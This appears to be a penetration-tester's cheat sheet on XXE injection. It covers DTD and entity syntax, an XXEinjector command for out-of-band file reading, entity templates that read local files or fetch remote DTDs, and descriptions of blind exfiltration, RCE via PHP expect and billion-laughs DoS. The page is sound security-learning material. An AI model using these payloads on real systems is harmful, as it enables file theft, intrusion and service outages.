XXE
XML External Entity.
It occurs when XML data is taken from user-controlled input without properly sanitizing or securely parsing it, which could allow the user to use XML functionality to perform malicious actions.
Types: In-Band and Blind.
Tools
ruby XXEinjector.rb --host=<TARGET> --httpport=<PORT> --path=<FILE_TO_READ> --file=<REQ_BURP> --oob=http --phpfilter
Take the BurpSuite REQ and enter XXEINJECT as the DTD.
Display the outputs in /Logs/<IP>/<PATH_FILE>
DTD (Document Type Definition)
Defines a structure with which to validate the XML document. The DTD can be defined in the document itself (immediately after the first line) or in an external file, and then referenced within the XML document with the SYSTEM keyword.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE <name> SYSTEM "email.dtd"><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email SYSTEM "http://<DOMAIN>/<DTD>">Entities
It is possible to define custom entities (XML variables) in XML DTDs. This can be done with the use of the ENTITY keyword, followed by the entity name and its value. To refer to an external defined entity use &<VARIABLE_NAME>;.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE <name> [
<!ENTITY varA "RANDOM">
<!ENTITY varB SYSTEM "file:///<PATH_FILE>">
<!ENTITY varC SYSTEM "http://<DOMAIN>/DTD">
]>Use &varA; &varB; &varC;
Parameter Entities
XML parameter entities are a special kind of XML entity which can only be referenced elsewhere within the DTD.
Use %xxe;
Attacks
Read
If outdated XML libraries are used and no filtering or cleaning is applied on our XML input, we may be able to read local files.
Simple
Define varX then use it in the field that is displayed (&varX;)
PHP wrapper
Only with PHP web applications. If there are special XML characters in the file (such as < > & or binary) that would break the reference and not be used for the reference.
CDATA
Other method to extract any type of data (including binary data) for any web application backend.
Use the CDATA tag: <![CDATA[ FILE_CONTENT ]]>
The XML parser considers this part as raw data.
Then use &content;
Then use &joined
Single item, NO DOCTYPE
If you only control a single item of data that is placed into a server-side XML document and cannot define or modify a DOCTYPE element
Image SVG
Error
This method does not require a field to be displayed, but it does require the web application to display runtime errors (e.g., PHP errors), as it does not have adequate exception handling for XML input. In that case, it is possible to use this flaw to read the output of the XXE exploit.
Suppose there is a DTD file on the server filesystem at the location /usr/local/app/schema.dtd, and this DTD file defines an entity called custom_entity.
To find a DDT file just use the following payload and see if it returns an error.
Systems typically always contain DTD files. Ex. linux GNOME desktop environment often have a DTD file at /usr/share/yelp/dtd/docbookx.dtd
Since many common systems that include DTD files are open source, you can normally quickly obtain a copy of files through internet search and find an entity that you can redefine.
Blind
Allows you to exfiltrate data without any output fields and without error printing.
Try with /etc/hostname which has no newline characters.
RCE
We can also execute remote code with XXE. Require the PHP expect module to be installed and enabled. Possible to execute commands and display the response in the displayed field or load a web shell on the server. (Beware of characters not allowed)
DoS
Also possible to perform Denial of Server attacks.
This payload defines entity a0 as DOS, refers to it several times with a1, then refers to a1 with a2, and so on until the memory of the back-end server runs out due to self-reference cycles.
Last updated
Was this helpful?